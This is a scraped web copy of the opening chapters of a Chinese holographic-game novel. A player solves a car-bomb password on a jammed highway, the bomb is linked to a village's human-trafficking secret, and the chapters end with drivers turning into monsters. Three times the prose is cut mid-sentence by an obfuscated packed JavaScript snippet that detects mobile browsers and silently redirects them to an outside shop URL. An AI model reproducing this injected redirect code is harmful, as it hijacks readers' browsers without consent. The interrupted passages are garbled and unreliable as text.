《当乌鸦登顶榜首[全息]》 1. 南方高速(1) “放心,游戏绝对好玩,让你不虚此行。” 温润的男声从桌上的终端里清晰传出,“何况试一下也没什么损失。” 书桌前,戴着耳机的女生摆弄着崭新的设备,淡淡语音回复: “好,我知道了。” 午后,浓稠的橙黄色阳光透过玻璃淌入室内,落到戴荆月白得透出血管的脸上。她穿着陈旧的纯色T恤杉,乌黑的长发在脑后随意半扎成一个丸子头,鬓边垂下几缕碎发。 修长的指节搭在泛着冷光的设备上,她闭上眼睛,专注操纵精神力与终端服务器绑定。 和煦清风拂面,盏盏流萤飘落,再度睁开眼时,卧室的景象尽数消失,取而代之的是朵朵金光闪闪的祥云。 【叮咚!欢迎登录“圣光回响”服务器】 【请新注册玩家输入游戏ID,一经确认,不得随意更改】 戴荆月沉吟片刻,输入四个字——披荆戴月。 【游戏ID确认成功!】 【检测玩家属性为:乌鸦】 【异能方向:暂未觉醒】 【恭喜玩家载入服务器!当前注册玩家总人数:3510832561人】 饶是做好心理准备,她还是惊讶地睁大眼,这款全息游戏远比想象中还要火爆。 圣光回响是帝国官方推出的全息游戏,改编自军队的能力考核,降低难度,增加趣味性,服务于想要锻炼提升精神力的普罗大众,不少人借此觉醒异能,一经问世就备受推崇。 戴荆月也是今天才拿到终端设备,只不过她的目标没有这么高大上,只是单纯为了赚外快。 准备区里,五颜六色、形态各异的小星体在面前缓慢滚动,耳畔不由自主浮现不久前男生说过的话: “一个星体代表一个游戏副本,难度随机,挑顺眼的进去就行。” 少顷,指尖轻轻碰上一个海胆状的黑色星体。 选定的刹那,四周的萤光倏地笼罩住全身,绵延流转。 【游戏正在加载中……加载完成!】 【游戏名称:南方高速】 【亲爱的玩家披荆戴月,祝您游戏愉快!】 下一刻,戴荆月闪现在一座银灰色顶棚下。 黑幕笼罩,顶棚的光直照上蜜蜂配色的防撞墩,红白相间的金属栏杆阻着前边一望无际的宽敞大道,夜里潮湿的空气里隐约带着霉味。 她默默打量着周遭的环境,心里很快有了定论。如名称所示,游戏背景大概是百年前地球上的高速公路。 “祝您游戏愉快”几个字幽幽落下,戴荆月等了一会,却迟迟未接收到主线任务。莫非是需要玩家发挥主观能动性开启? 疑惑刚在心中升起,提示音便再次响起: 【距离主线行程关闭还有10分钟,请玩家抓紧时间开启主线!超时未开启主线者,游戏失败!】 随即催魂似的倒计时: 【9分59秒、9分58秒、9分57秒……】 阴森森的冷风适时掠过后背,棚子下沉默接听消息的女生不自觉打了个哆嗦,决定再也不要将一语成谶用在自己身上。 毕竟人们常说乌鸦报灾,而她就是那只代表不幸的乌鸦。 万一觉醒的异能方向是招灾诅咒呢? 手掌在小臂上快速摩擦生热,戴荆月边取暖边张望,想先试着直接走上公路。按照游戏名称来看,肯定得先上高速才能触发任务。 奈何无论怎样,她都无法突破那道单薄的栏杆,就像有一堵无形空气墙隔开高速内外,想来是必须要有车才能开启游戏。 举目四望,高速空旷无垠,安静得能听见簌簌风声,连一道车影子都没看见。 深深呼出一口冒白烟的气,戴荆月目光快速扫掠高速口,准确锁定不远处唯一一间有人的收费亭。 几步走到亮着灯的收费亭前,修长的手指微微屈起,指关节有礼貌地轻叩玻璃。 咚咚。 “您好,前方自助取卡,请出示收款码。”玻璃边迅速探出一个脑袋,脸上带着稍有不慎就会被举报的标准微笑,“……咦,您的车呢?” 只见一个高挑的女生孤零零站在收费亭外,眉眼恬淡,鼻梁秀挺,白灯洒到她的身上,为本就冷的气质更镀上淡淡的辉光。 工作人员不自觉出了神。 全然未知对方心理的戴荆月努力释放友好微笑,凭借脑中残存的历史知识试探开口: “请问附近有什么停车点或者4S店吗?” 工作人员遗憾摇了摇头。 “那……你知道哪里有车吗?” 尽管内心很想帮助面前的女生,但工作人员还是摇头: “这是姚家镇口的高速点,附近只有小乡镇。” 轻声道谢后,戴荆月抿唇退到一旁。 算上栏杆口的无用尝试,短短几句问话的功夫,已经耗费两分钟。她习惯性地捏了捏指节,迅速在脑中梳理从进入到现在的全部经历。 游戏不可能在开局就设置死胡同,一定是有什么东西被她忽略了。一如解题,破局的条件往往藏在最开始。 耳边聒噪的倒计时像是游戏对玩家的精神干扰,阻止人集中注意力破局。 检测到戴荆月加快的心率,提示音似乎也染上些戏谑的色彩,嘲笑着无能的玩家。 然而下一刻,刚被判定为“无能”的戴荆月突然拔腿往反方向冲,步子越迈越大,竟直直跑离公路,拐到了上高速的一条颠簸小土路上。 工作人员探出身子:“哎,不上高速了?” 回应对方的只有风声。 随着位置不断偏移,先前隐隐约约感知到的味道也愈发强烈——混在泥土里格格不入的发霉味。 等她气喘吁吁地停下脚步时,留给她的时间只剩下四分钟。 凝视着眼前的景象,戴荆月唇角勾起。 四分钟,够用了。 一小栋村边的垃圾回收站占据了她的大片视野。而回收站的后面,那团黑黢黢的东西,肖似车的轮廓。 不知立在那多久的女人,在看清戴荆月的身影后欢喜道: “哎哟!你总算来了,我还以为你不回来了呢!东西早都收好了!” 戴荆月“嗯”了一声,大步走过去,准备坐上自己探索到的坐骑。但当彻底看清那辆车后,漾在脸上的笑意瞬间凝固。 结构硬朗,配色清新,敞篷设计,堆满纸箱,车头还竖着一面小旗子,无疑兼具了实用性与美观性。 可她此时有点想骂人。 不懂就问,三轮车能上高速吗? 游戏告诉她,能。 车座上甚至放了一顶安全头盔,等待着有缘之人的拾取。 女人的目光里充满期待,很明显,她就是那个有缘之人。 空气凝滞三秒后。 凉风瑟瑟,引擎轰鸣,坐得稳稳当当的戴荆月拧着车把,将过路卡揣在兜里,踩着倒计时结束的死线飙上公路。 踏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16662243|188499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上路途那一刻,一道声音凭空在耳畔响起: 【叮咚!恭喜触发游戏主线!】 【主线任务:在天亮前将旧纸箱送到下一个高速口!】 虽然过程有些不尽人意,但总归是开启主线了。 夹道路灯一齐亮起,绿色的金属路牌反射冰冷刺目的白光,准确无误落到深灰色的高速路面。 大概是为了方便玩家行动,这辆三轮车居然头尾装备有车灯,戴荆月随时都能打开。 未至高峰期,公路算得上空寂,身侧只不时掠过一抹染色的虚影。没人对三轮车提出异议,她便一路安心驾驶。 钢条哐当,轮胎吱嘎,纸箱晃呀晃,一晃不知过去多久,枯燥到戴荆月数次怀疑这场游戏会不会真的只是单机开车模拟。 直到前方出现亮着橙红色灯的车屁股。 一辆辆车打着尾灯停在原地,仿佛潜伏在暗夜里睁着闪光红瞳龇牙咧嘴的怪物,依稀还能听见寂寥的鸣笛声。 深蓝三轮车缓缓停在一辆银白甲壳虫后,她眯眼看着前面密密麻麻的车,心中暗忖不对劲。 前面那么长一段路,几乎没有碰见过什么车,可现在却实打实地堵在这儿,实在不符合常理。 不仅如此,身后也在不断来车,前不见头,后不见尾,像凝固在罐头中央里的沙丁鱼。 于是戴荆月转头看向一旁摇下车窗透气的司机,硬着头皮主动询问: “你好,现在明明不是高峰期,为什么大家都堵在这儿了?” 司机转头瞥了她一眼,叹了口气: “前边恐怕是出了什么重大事故,等挺久了,而且另几条高速封路,往南边的车全聚在这里,还只有两条道,可不得堵吗?” 闻言,戴荆月若有所思点点头。 而司机仍维持着偏头的姿态,显然还有继续聊的意思: “我去看球赛,也不知道还能不能赶上,好不容易有钱看一次,还碰上这种事,真是造孽啊。”语气里充斥着不甘、不平和不满。 拙于言辞的戴荆月嘴唇开开合合,绞尽脑汁吐出几个字: “没事,这么多人都在这儿等着呢,塞翁失马焉知非福。” 不知话里哪个关键词触动了司机,他硬朗的面部轮廓蓦地软和,语气瞬间温柔下来: “是啊,我也这么觉得。” 戴荆月直觉不对,下意识追问: “为什么?你遇到什么事了吗?” 司机不语,只是面带微笑着看向斜前方。循着他的视线望去,是一位短发利落的年轻女生,正靠着通体漆黑的小轿车边休憩。 收回目光,戴荆月不确定道: “难道你对那个女生一见钟情?这场堵车让你遇到了自己喜欢的人?” 很合理的猜测,司机却瞪了她一眼:“瞎说什么呢?我怎么会喜欢她?” 戴荆月这下懵了:“那你看着她笑干什么?” 对面清了清嗓子,理所当然道:“那是我离家出走的妹妹,我已经好久没有见到她了。” 低哑的男声落下,男人甚至望了望群山,一副怀念的样子。 戴荆月刚想试图安慰他两句,斜前方的短发女生却忽然发出凄厉的尖叫: “啊啊啊啊啊啊——救命啊——” “这里有炸/弹!” 下一刻,游戏提示音适时响起: 【叮咚!恭喜触发游戏支线!】 【支线任务:在炸/弹爆炸前破解密码!】 2. 南方高速(2) 这道喊声如同号角,一声既出,此起彼伏的尖叫声、开关车门声不绝于耳。公路本就堵塞,现在更是像一盆泡发的木耳,炸开得七零八落。 身处其中的戴荆月也是木耳之一。她迅速蹦下车,跑到短发女生车边,语气急促:“炸/弹在哪?” 早已离开车的女生手指颤巍巍指着自己车座底下:“这里,我刚刚听见走秒声。” 她顺着手指的方向望过去,果然看见那颗绑在车底正在倒计时的炸弹,还有一个半小时就要爆炸。 输入密码的密码栏边显示着数字3,显然是有三次输入密码的机会。 周围的人群混乱不堪,密码的线索肯定藏在其中,所以当下最重要的是得想办法让他们安稳下来。 刚动一点心思,不远处就传来洪亮的喇叭声:“请各位司机朋友放心,炸/弹已经被我们控制破解,大家可以安心在车上等待。” 那是一个站在越野车顶上的眼镜男生,而他的车前同样插了一面写着id的小旗子,是和自己一样的玩家! 戴荆月这才意识到自己陷入了思维盲区。由于前期一直没有碰见游戏同僚,她便惯性思维以为这是单机游戏。如今看来,这分明是一场多人赛场。 男生一连喊了三遍才跃下车,随后径直往戴荆月这边走来:“你也是玩家吧,一个人?我的队友已经去收集消息了,你好好待着别添乱就行。” 男生语速很快,还带着点不知哪儿的口音,不难听,反倒显贵气。她努力消化着对方的消息,提炼出两个关键词:一是队友,二是添乱。 “队友?”她掀起眼皮,看向对面瘦削的人,“几个人?” 明明是很正常的问题,男生却投来惊讶的眼神:“你不认识我?” 戴荆月扬眉,默认了他的说法。 男生反应极快,确凿道:“你应该是新人,没参加过几次游戏。” 随即又小声嘀咕:“那你运气还挺好,能在游戏里遇见我们。” 戴荆月对这说法不置可否,她看出来男生大概是游戏里的某个出名的高手,却还是极不喜欢对方的语气。 “我是白纸扇,群英堂的。”男生主动抛出自己的身份。 戴荆月微一颔首:“披荆戴月。” 二人交换ID就算打过招呼了,白纸扇自以为友善道:“那你现在回去待着就行,等我们破解支线就能继续往前了。” 谁知面前这个新人并不领情,反是摇了摇头。 白纸扇眉心稍蹙:“什么意思?” 回答声平静恬淡:“支线任务是我触发的。” 捕捉到对方眼中稍纵即逝的讶异后,戴荆月知道自己赌赢了。 事实上,她也不能确定支线触发究竟和自己有没有关系,毕竟相关不等于因果,归因是件奢侈的事情。 白纸扇的反应验证了她的猜想。支线任务是固定的,但触发点是不同的。戴荆月能遇见女生的哥哥,换作他们也许就会遇见其他姐妹兄弟。 而白纸扇等人出于各种因素,暂时没同任何人交流,因此也没能触发支线。 “所以你们需要我。” 抛下一句话,戴荆月转身就走,没再同对方浪费时间。 对方那股自以为是的语气突然让她想到很久前,家里人第一次和她说:“阿月,你平时要安静些,少说点话。” 当时的她扬着天真的小脸:“为什么呀?” 他们刮了刮她的鼻梁:“这当然是为了你好,避免你染上坏习惯。” 那时候年纪小,什么都不懂,自以为这是家人的爱。后来才恍然顿悟,他们不过是担心自己说多话给这个家招灾罢了。 毕竟她的属性是乌鸦呀。 没有沉溺在回忆里太久,戴荆月返回到自己的车边,定定看向身旁的司机,开门见山:“你的妹妹为什么离家出走?” 惊魂未定的司机望着她:“他们说炸/弹被控制了,是真的吗?它是不是还在我妹妹那里……” 戴荆月没有出声,沉默看着面前这个皮肤黝黑的男人。 司机被她盯得发怵,下意识为自己辩解:“我、我真的什么都不知道。”刚说完,就听见对面的女生一声轻笑。 “我还没开始说话,你在慌什么?”她微微侧头,似笑非笑,“还是说,你和这个有关?” “没有!”司机猛然爆发出巨大的声音,仿佛在借此为自己壮胆。 他哆嗦着嘴唇,视线飘忽不定:“和我没有关系,谁让她不听劝,都怪她自己!” 见男人着急忙慌地想关上车窗,戴荆月弯下身子凑过去,手指抵住窗户沿,温热的吐息打在他的面前,就像扼住猎物咽喉的猛兽: “再问一次,你的妹妹为什么离家出走?以及,你是姚家镇出来的?” 戴荆月的目光落在他袖口染的红泥上,回想起不久前刚踩过的泥泞小道。 姚家镇很大,近处村落临着公路,但再往深处的便是连绵不断的群山。而红土,是那一带的地域特色。 晚来一步的白纸扇闻言稍稍扬眉,默不作声。 对上那双幽如深潭的眼睛,司机面色发白,他有种直觉,如果再不交代,这个看起来俊俏的女生很可能会采取某些极端手段。 “因为她和家里人吵架了,家里想让她找一份安稳的工作,但她不愿意所以离家出走!” 戴荆月乘胜追击:“她是做什么工作的?” “记者!她大学学的是新闻!” “最后一个问题,她叫什么?” “姚时!” 得到了想要的消息,她暂时放过浑身发抖的司机,环视一圈后和白纸扇一起回到车旁。 在群英堂的努力下,公路秩序基本稳定下来,但玩家们比谁都清楚炸/弹还在。鉴于戴荆月的三轮车太寒碜,短发女生姚时被暂时安置在他们的越野车上。 后座上,群英堂的人正看护着姚时,车门突然被敲了敲。 戴荆月单腿踩着车沿俯身,上下打量着双手插在口袋里像是在护着什么的女生,耳后的黑发滑落至空中: “你是姚时,工作是新闻记者。” 姚时顺从点头。 戴荆月沉默几秒,再次开口:“你和你家人很久没有联系了,对吗?” 姚时暗淡的眼里闪过一丝波动。 “我刚刚见到你哥了,你想去见他吗?” 谁知听了这句,方才眼中还闪着光的姚时忽地闭上眼:“我已经和他们断绝关系了。” 毫不留情拷问npc的戴荆月闻言顿了顿,白纸扇的眸中也多了几分正色。 姚时和家人已经到了断绝关系的程度,而非单纯的吵架矛盾。 “你们的矛盾不可调和?” “害你的会不会是你家人?” 戴荆月和白纸扇同时开口,一个比一个刁钻为难。二人对上视线,白纸扇耸了耸肩:“虽然有点冷血,但这样提问效率更高。” “嗯。”戴荆月没有否认对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16662244|188499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方,眼神淡淡落在虚空,不知在想些什么。 被同时质问的姚时也没觉得有什么冒犯,她随手抓了抓凌乱的刘海,瞥了一眼窗外的群山,再依次答复面前的两个“热心司机”: “对,不可调和,至于害我的话,不排除这个可能。” 虎毒尚且不食子,白纸扇很难想出发生了什么会让家人想谋杀自己的亲生女儿…… 等等。 他刷地抬头:“姚时,你和你父母有血缘关系吗?” 女生下巴微点:“有。” 刚燃起的念头瞬间破灭,白纸扇没忍住暗骂了句脏话。戴荆月虽未出声,内心也是同感。 盘问这么久,却没能收获任何一点和炸弹相关的线索,连嫌疑人都没法锁定,遑论破解密码。 “我们分头行动,你留下来看着她,我和队友出去找线索。” 调整好状态的白纸扇当机立断,看向戴荆月。后者默许了这个安排,本身她也还有许多疑点想要问姚时。 白纸扇的身影越走越远,化为一滴融入暗夜的墨点,天幕染着浓得化不开的墨,不知距离天亮还有多久。 封闭的车厢里,姚时突然主动出声:“为什么要帮我?” “有人帮你不好吗?”戴荆月反问。 闻言,姚时笑着看向窗外,正巧有司机站在车边抽烟解乏,红光明灭。她声音轻快:“你们帮的不是我,而是自己。” “爆炸了,堵在这里的大家有可能都会死,不管是你,还是刚刚的人。” 戴荆月一时无言,姚时的话太尖锐,仿佛一柄戳穿裹在所有人身上伪善的茧的利剑,但她还是摇头: “不以功利主义为出发点,人皆有不忍人之心,不是吗?” “你作为记者,应该比我体悟更多。” 姚时没有出声,耷拉着眼皮,沉默撕烂指甲边的倒刺,粗糙的皮肤上血痕斑斓。 凝固的空气如一曲悠然华尔兹砸出破裂的音,戛然而止。 良久,戴荆月还是出声打破沉默:“对了姚时,你从事的是什么记者,财经记者,娱乐记者,还是……” “调查记者。”女生的声音似清泉,“你应该早就猜到了。” 戴荆月的心蓦地一沉。 为什么车上会被人安炸弹,为什么家里会想要她有一份安稳的工作,为什么姚时与家里断绝关系…… 所有这些的疑问在这四个字的回复里有了答案。 虽然早就猜到了,但她还是存有一丝侥幸,因为这对于姚时太过残忍。 如果害姚时的人不是家人,而是来自工作上的敌人呢,一切似乎都变得有迹可循。 或许她揭露的真相触及了某些人的利益,或许她的存在本身就是对那些人的威胁,那么她当然没有活着的必要了。 乌云不知何时散开,月光皎皎落入车内,打亮姚时锋利的侧脸。似乎很早以前,她的眼中便不再有恐惧,只有淡然与冷漠。 “关于妇女儿童的拐卖。”姚时冷不丁开口。 戴荆月先是一愣,随即很快意识到这是姚时最近在调查的主题! 她还想再问些什么,姚时却怎么也不肯回答了。与此同时,有人打开车门,吊儿郎当吹了声口哨:“披荆戴月?” 戴荆月下意识抬起茫然的脸,撞入她眼中的是刚刚离开的女生,额上箍着运动发带,鲜艳的红发束成高马尾,金色瞳孔在夜里闪闪发光。 “白纸扇让我喊你过去,有新发现。” 3. 南方高速(3) 白纸扇就在不远的一辆客车旁,红发女生和戴荆月三两步就能赶到。 他神色严肃走到二人身前: “姚时是姚家村的,属于姚家镇,但是更偏远。村里人说她高中时期就叛逆,上大学后更是和家里天天闹矛盾。这辆客车载着的就是姚家村里的人。” “据说在高考填报志愿时,她就和家里人大吵一架,闹得特别严重,连村长都来劝架。后来姚时就不常回来了,最近不知怎的又出现在村落附近,只不过村里人也没怎么见她进家门。” 戴荆月垂眸听着,随后将自己接收到信息全盘告诉对方。交换过消息后,两人迅速确定了接下来的突破方向。 部署完任务,沉默半天的红发女生终于开口:“有什么我能干的吗?” “当然有。”白纸扇微笑,“红棍,你的任务是保护好姚时。” ID名为红棍的女生简单拉伸胳膊:“放心,我在姚时在,我亡……让我亡的人还没出现。” 炸弹还有55分钟爆炸。戴荆月和白纸扇一人一个方向,以姚时的车为原点,开始地毯式拷问。 “你好,请问你是姚家村的人吗,准备去哪,你认识姚时吗?” 同样的一句话,戴荆月重复了十余次,嘴皮都快磨破了,她从来没有一次性说过这么多的话。 所幸她也从周围人里收获了不少线索。虽然大部分人对于姚时这个名字都一脸茫然,但从小部分知道她的人口中,戴荆月已然勾勒出了一个孤寂决绝的身影—— 高中时期叛逆,大学选择离家很远的学校,一意孤行报考后和家里不相往来。在校期间就多次发布新闻报道。毕业后行踪诡异,出现在村落附近,却又不进家门。 再结合姚时自身的说法,她最近在做关于妇女儿童拐卖的调研…… 一个不可思议却又在情理之中的猜想在戴荆月心中悄然浮起。 下一秒,她大跨步跑到最开始的地方,急促敲开姚时哥哥的车窗,单手扼住对方的喉咙,声音嘶哑:“你们村是干什么的?” 男人咳了两声,艰难喘气道:“就是、就是小本生意……” “什么生意?” “咳咳……这是村里的机密,不方便说……” 戴荆月手上的力道不自觉加深:“是不方便说,还是不能说?干的是贩卖人口的生意,对吧?” 闻言,男人眼球瞪大,呆呆望着戴荆月,似乎不可置信:“姚时和你说了?不可能……她明明最不希望别人知道这个了。” “告诉我,密码是多少?”抓住男人心理防线坍塌那一刻,戴荆月低声提问。 男人脸上带着释怀的笑:“0621,姚时的生日。” 戴荆月倏地松手,男人“咣”地一声重重跌回驾驶座,在皮椅上砸出一个小坑。 虽然男人告诉了密码,但她并不敢去填。对危险的直觉告诉她,事情没有这么简单。还有那么多疑惑没有解除,真能这么容易就破解密码? 这端她还在犹豫,另一端的白纸扇却也收到密码,一个迥然不同的密码。 “我抓住了一个男人,以转卖儿童为生,在逼供下主动交代密码是0929,他们第一次接头的时间。” 黑色轿车座椅底下的炸/弹前。眼见白纸扇的手即将碰到触摸屏,戴荆月拦住了他:“密码不是这个。” 冰冷的倒计时面板上,剩余时间不足半小时,白纸扇显然有些急:“就算我们的密码不一样,都试一遍就好了,反正有三次机会。” 说着,便手快地摁下“0929”,提交的那一刻,倒计时停住了,白纸扇还没来得及惊喜,走秒却忽然以5秒为单位开始行进! 28分50秒、28分45秒、28分40秒…… 白纸扇眉头紧蹙:“密码错了,难道你的才是正确的密码?” 戴荆月摇了摇头:“不,我觉得两个都不是正确的。” “那正确的密码在哪?”不知不觉间,他已经开始信任这个不久前还嫌弃的“新人”。 戴荆月抬头,锐利的目光穿透黑夜,似乎已经望见了那个她想找的身影:“去问姚时。” 越野车里,红棍转着捡来的木棍,破风声凛冽,身旁的姚时坐在那闭目养神,安静不语。 白纸扇和戴荆月赶来时看见的就是二人“和谐相处”的画面。 戴荆月不再犹豫:“姚时,炸/弹密码是多少?” 女生睁开眼,语气带着点嘲弄:“你们是没破解密码魔怔了?我怎么可能知道。” “不,你知道。”戴荆月语气凿凿,“甚至可能他们安装炸弹的时候你也知道。” 姚时耸了耸肩:“是这样吗,挺好的剧本。” “高中的时候你和家人决裂,是发现了他们从事非法人口贩卖。大学你执意离开他们,甚至选择新闻专业。你想要披露这一真相。” 戴荆月很少一次性说这么多话,但她忍不住继续。 “你哥说你不想别人知道你的家庭情况,你以前可能确实是这么想的,但是一定发生了什么让你改变这个想法。” “我之前还疑惑,为什么你会那么说话,如今想想,你可能本就知道密码,如果没人帮你,大概就放任它爆炸。” 姚时睫毛颤了颤,还是没出声。 戴荆月只能继续输出:“你主动给我线索,说明你潜意识也在向外求救,你也不希望自己就这么……” “对。”姚时出声打断,冷笑着开口,“我是想向外求救,但是我的存在本身就是错误。” 高中时期,第一次发现家乡秘密,是因为后山多了几个陌生的小孩。邻家叔叔说那是寄养在外的孩子,才接回村里。 正值青春叛逆期的姚时不信,于是开始了自己的调查大业,这是姚记者的开刃之作。 顺理成章的,她发现了自己家乡的秘密。原来姚家村一直在背后干贩卖人口的事情。不仅有小孩,还有妇女,就像一个中转站。如果村里有人需要,也可以直接出钱“买货”。 更让她惊悚的是,她的妈妈也是被拐来的。 压不住火的姚时在那夜和家里爆发了第一次争吵。可是爸爸告诉她,大家都是这样的,只有这样才能缓解村里单身汉的压力。 “你们是不是以为,我戳破事实后会有人支持我?”姚时陈述的声音越来越低,“实际上,他们只觉得我带来了麻烦。” 17岁的姚时永远忘记不了妈妈当时的眼神,像是疲惫,像是不解,又像是嗔怒。 后来她理解了。因为妈妈被困在这里太久,甚至有了她和哥哥两个孩子。而她就不应该戳破这层血淋淋的真相。 高考后,她执意报了省外的大学,理由是想出去看看。爸妈由着她去,因为他们笃信她还会回来的。 每日在痛苦与煎熬里辗转反侧的姚时试图说服自己,也许这真的是被逼无奈呢,她只要当作无事发生,依然可以好好生活。 在听过同学分享的家庭故事后,她更加将这份阴沟里的烂泥藏在心里。直到有一天,她的舍友出门却意外失踪。 这是她在大学里关系最好的朋友。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16662245|188499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等警方在附近的山村找到她舍友的时候,对方已经疯疯癫癫、神志不清。那晚,姚时在厕所干呕了很久。 讲到这里,姚时突然攥住了戴荆月的手,紧紧抱在怀里。戴荆月想试着挣开时,对方却先松手了。 “当时她就是这么抱着我的,她不断重复说自己会乖乖的,让他们不要打她。呵,你们知道我当时多绝望吗?” 戴荆月绷着下巴:“所以你开始调查了?” 姚时轻点头。 第一个来劝阻她调查的是邻家叔叔,他说没用的,在报道发出去之前,她就会先暴毙身亡。 赤裸裸的威胁。 第二个来劝她的是她哥哥,男人满眼写着不认可: “你明明自己享受了这么多,甚至诞生于此,你以为别人就不会说你吗?他们会说,你也是共犯。” 但她都没听,反而在村里走访调查。那辆代步车停在村口,大树后的她亲眼看着自己哥哥和邻家叔叔装上了炸弹。 “什么密码?” “她的生日?既然不愿意接受,那就去死吧。”说话的是她哥。 “那还不如当年拐卖你妈妈的时间,那可是第一次。” 但是最后,两个人哪个都没选。 “你还记得我们转手了多少人吗?” “哈哈哈哈哈哈好!就定这个!” 姚时知道,她在调查的时候查得清清楚楚。 142条命。 0142。 所有记录手稿都在她身上,那一刻,姚时已经想好了,不如就这么尘归尘土归土。一切从未发生,她也得到解脱。 讲到这里,她还是下意识摸了摸揣在兜里的手稿。 戴荆月终于明白对方为什么一直双手插兜。 可是天不遂人意,一向畅通的公路突然堵车了。堵在这里的不止是姚时,还有很多无辜的人。 她想死,但是这么多人也该死吗? 她看见了邻家叔叔,看见了她哥哥,看见了姚家村里很多人,他们都该死。 可是还有很多不认识的人,他们似乎不该死。 …… 最先回过神的是戴荆月,她给白纸扇使了个眼色,飞速蹿到炸弹前,指尖轻点,输入0142。 滴—— 倒计时结束了,停止在2分10秒的时候。 长舒一口气的同时,她忽然意识到一个问题。炸弹如果爆炸,姚时哥哥他们也不能幸免,为什么他们会告诉自己假的密码。 车前,被质问的男人摊了摊手:“逗你们挺好玩的。” “那你不怕死吗?或者我们如果输错密码,你不也会死吗?” 对面忽然咧嘴笑了,露出烟熏的黄牙:“你怎么知道倒计时结束后,炸弹一定会爆炸呢?” 戴荆月愕然,对危机的强烈感知让她不自觉后退:“什么意思?” “意思是,倒计时只是个幌子,没想到你们真能查出这么多,比我想象中厉害。但是知道太多的人,得死——” 下一刻,男人的嘴角突然撕裂般咧开,耳根处传来皮肉拉扯的细微声响。 他冲她笑着,那弧度完全超出人类骨骼的极限,森白的尖牙从牙龈里狠狠顶出,牙根泛着青黑,仿佛下一秒就能轻易撕开她的喉咙。 男人的身体开始剧烈扭曲,皮肤下的筋肉如有生命般鼓胀蠕动,黑褐色的长毛密密麻麻覆盖全身。 “坚持半小时不被吃掉,我就解除炸/弹,如何?” “晚间狩猎游戏,正式开始。” 4. 南方高速(4) 男人的异化还在继续,道上的司机们像成群结队被控制的木偶,齐刷刷推开车门,铰链的吱呀声连成一片。 女女男男的司机们同样变得似兽非兽,眼瞳漫开妖异的红光。 “吸溜——” 黏腻的声响突然贴在耳后,带着腐烂的腥气。戴荆月脊背猛地一僵,行动先于大脑,下意识往边上旋身躲避。 指尖刚碰上三轮车的车把,后颈就掠过一阵冰凉的风,伴随着尖锐物体刺入皮肉的剧烈的痛意。 有人咬了她的后颈一口! 因着躲避及时,牙齿并未贯穿身体,仅仅是撕裂下来一片血肉。戴荆月忍着痛闷头向前跑,而整条高速公路早已沦为野兽的屠宰场。 趁着大部分兽人还没从混沌中反应过来,她借着黑夜隐匿身形,脚尖踮地,从角落钻到群英堂的车边与他们汇合。 唯一没变异的姚时被他们锁在车里,玩家皆神色凝重地蹲在地上,戴荆月这才摸清楚这场游戏中他们的所有成员。 瘦削精明的白纸扇、健美张扬的红棍,以及眼前这个笑容堪比太阳、先前一直在四周维持公路秩序的草鞋。 无暇吐槽他们的黑/帮风格,戴荆月快速讲了一遍事情因果。 白纸扇压着嗓音小声道:“如此看来,这场狩猎才是我们支线任务真正的难关。” 红棍甩了甩高马尾,眼睛闪闪发亮:“姐早就想大干一场了,刚好活动活动筋骨!” 草鞋叹气:“之前和他们聊得还挺开心,结果一个两个都变异不认人了。” 犹豫片刻,戴荆月还是直言不讳:“敌众我寡,时间只有半小时,我觉得还是能躲则躲。”白纸扇和草鞋俱点头认可,唯有红棍懊恼地撅了撅嘴。 “那就这么办,我们先躲……”白纸扇的话说到一半,戛然而止。 一张咧开的血盆大口带着淋漓涎水,毫无征兆地占据了所有人的视野。那兽人的头颅从车底倒吊下来,几乎与戴荆月脸贴着脸。 “找到你们了哦!”兽人脖颈扭曲得如同枯枝断裂,骨节发出令人牙酸的“咯吱”声。 反应最快的红棍当即甩出在手上把玩已久的木棍,破风声里精准命中兽人眉心,将其狠狠钉在地上。 “跑!” 声嘶力竭的喊声里里,玩家们狼狈开始公路大逃亡。 双道公路绵延,不知堵着多少车,更不知困住多少司机。不断有狰狞变异的兽人从车里钻出来,鼻尖在空气里轻嗅,长毛微颤。 短促连片的呼吸声里,一双双地狱恶鬼般的眼睛如索命般准确锁定住四人。它们前后左右形成一个密不透风的包围圈,一点一点朝着玩家们逼近。 转瞬间,几人被逼困在狭窄的车顶,退无可退。贪婪的凶兽们舔着獠牙,喉中发出嘶哑的低吼,戏谑望着眼前无处可走的瓮中之鳖。 戴荆月下意识屏着呼吸,小心翼翼呼气,唯恐惊动这些兽人,哪怕它们随时都有可能扑跃而上。 跑是不可能跑了,唯一的破局方法,或许只有…… “吼——” 思绪被身侧猛然爆发的一声虎啸打断,啸声撕裂空气,蕴含着属于百兽之王的威严,将一众蠢蠢欲动的兽人震慑在原地,动弹不得。 